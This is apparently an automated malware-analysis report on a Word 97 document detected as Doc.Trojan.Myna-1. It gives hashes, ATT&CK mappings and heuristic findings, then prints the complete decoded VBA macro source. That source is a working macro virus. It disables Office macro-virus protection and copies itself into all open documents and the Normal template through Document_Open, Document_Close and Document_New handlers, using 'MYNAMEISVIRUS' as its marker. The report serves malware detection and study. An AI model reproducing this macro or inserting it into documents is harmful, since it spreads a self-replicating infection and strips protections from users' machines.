Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 101846e6f46a415d…

MALICIOUS

Office (OLE)

42.5 KB Created: 2005-12-14 15:21:00 Authoring application: Microsoft Word 8.0 First seen: 2015-04-15
MD5: 55f53baf20362381bfdbd7dcb8a21d3e SHA-1: f04815e51d92ee434e5a721d6c46fbc4f12aaa9b SHA-256: 101846e6f46a415d7eb1a1e56d66d061784e675d457a803c4764aa376d38cf7d
208 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1553.005 Ransomware Behavior

The sample contains VBA macros that attempt to disable macro virus protection and replicate themselves by injecting code into other documents and templates. The macro uses the string "MYNAMEISVIRUS" as a marker and attempts to insert code from the "ThisDocument" component. This behavior, along with ClamAV detections of 'Doc.Trojan.Myna-1', indicates a self-replicating macro-based threat.

Heuristics 4

  • ClamAV: Doc.Trojan.Myna-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Myna-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
     Options.VirusProtection = False
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4428 bytes
SHA-256: 3bff89c46f95d3bddadaf3a28a14b52b868fbc9f9c747665f0905bd45886b3f1
Detection
ClamAV: Doc.Trojan.Myna-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Private Sub Document_Close()

'

Dim aready As Boolean
Dim star As Long
Dim send As Long
Dim answer As String
Dim path$
 Options.VirusProtection = False
 answer = "MYNAMEISVIRUS"
star = 1
send = 1
path$ = Options.DefaultFilePath(wdUserTemplatesPath)
If Documents.Count <> 0 Then
For i = 1 To Documents.Count
For Each xitem In Documents(i).VBProject.VBComponents
   ' If xitem.Name = "NewMacros" Then
    If xitem.Name = "ThisDocument" Then
    send = xitem.codemodule.countoflines
    aready = xitem.codemodule.Find("MYNAMEISVIRUS", star, 1, star + send, 1)
    If aready = False Then
          With xitem.codemodule
             .insertlines star, MacroContainer.VBProject.VBComponents(1).codemodule.Lines(1, 150)  'codemodule.procbodyline("Autoexec", vbext_pk_Proc)
         End With
    End If
    End If
Next
Next
End If
  For Each xitem In NormalTemplate.VBProject.VBComponents
    If xitem.Name = "ThisDocument" Then
    send = xitem.codemodule.countoflines
    aready = xitem.codemodule.Find("MYNAMEISVIRUS", star, 1, send, 1)
    If aready = False Then
          With xitem.codemodule
             .insertlines star, MacroContainer.VBProject.VBComponents(1).codemodule.Lines(1, 150)  'codemodule.procbodyline("Autoexec", vbext_pk_Proc)
         End With
    End If

    End If
Next
End Sub

Private Sub Document_New()
'
Dim aready As Boolean
Dim star As Long
Dim send As Long
Dim answer As String
Dim path$
 Options.VirusProtection = False
 answer = "MYNAMEISVIRUS"
star = 1
send = 1
path$ = Options.DefaultFilePath(wdUserTemplatesPath)
If Count <> 1 Then
  Count = Count + 1
 ' Documents.Add
End If
If Documents.Count <> 0 Then
For i = 1 To Documents.Count
For Each xitem In Documents(i).VBProject.VBComponents
   ' If xitem.Name = "NewMacros" Then
    If xitem.Name = "ThisDocument" Then
    send = xitem.codemodule.countoflines
    aready = xitem.codemodule.Find("MYNAMEISVIRUS", star, 1, star + send, 1)
    If aready = False Then
          With xitem.codemodule
             .insertlines star, MacroContainer.VBProject.VBComponents(1).codemodule.Lines(1, 150)  'codemodule.procbodyline("Autoexec", vbext_pk_Proc)
         End With
    End If
    End If
Next
Next
End If
  For Each xitem In NormalTemplate.VBProject.VBComponents
    If xitem.Name = "ThisDocument" Then
    send = xitem.codemodule.countoflines
    aready = xitem.codemodule.Find("MYNAMEISVIRUS", star, 1, send, 1)
    If aready = False Then
          With xitem.codemodule
             .insertlines star, MacroContainer.VBProject.VBComponents(1).codemodule.Lines(1, 150)  'codemodule.procbodyline("Autoexec", vbext_pk_Proc)
         End With
    End If

    End If
Next
End Sub

Private Sub Document_Open()
Dim aready As Boolean
Dim star As Long
Dim send As Long
Dim answer As String
Dim path$
 answer = "MYNAMEISVIRUS"
  Options.VirusProtection = False
star = 1
send = 1
path$ = Options.DefaultFilePath(wdUserTemplatesPath)
If Count <> 1 Then
  Count = Count + 1
 ' Documents.Add
End If
If Documents.Count <> 0 Then
For i = 1 To Documents.Count
For Each xitem In Documents(i).VBProject.VBComponents
   ' If xitem.Name = "NewMacros" Then
    If xitem.Name = "ThisDocument" Then
    send = xitem.codemodule.countoflines
    aready = xitem.codemodule.Find("MYNAMEISVIRUS", star, 1, star + send, 1)
    If aready = False Then
          With xitem.codemodule
             .insertlines star, MacroContainer.VBProject.VBComponents(1).codemodule.Lines(1, 150)  'codemodule.procbodyline("Autoexec", vbext_pk_Proc)
         End With
    End If
    End If
Next
Next
End If
  For Each xitem In NormalTemplate.VBProject.VBComponents
    If xitem.Name = "ThisDocument" Then
    send = xitem.codemodule.countoflines
    aready = xitem.codemodule.Find("MYNAMEISVIRUS", star, 1, send, 1)
    If aready = False Then
          With xitem.codemodule
             .insertlines star, MacroContainer.VBProject.VBComponents(1).codemodule.Lines(1, 150)  'codemodule.procbodyline("Autoexec", vbext_pk_Proc)
         End With
    End If

    End If
Next
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.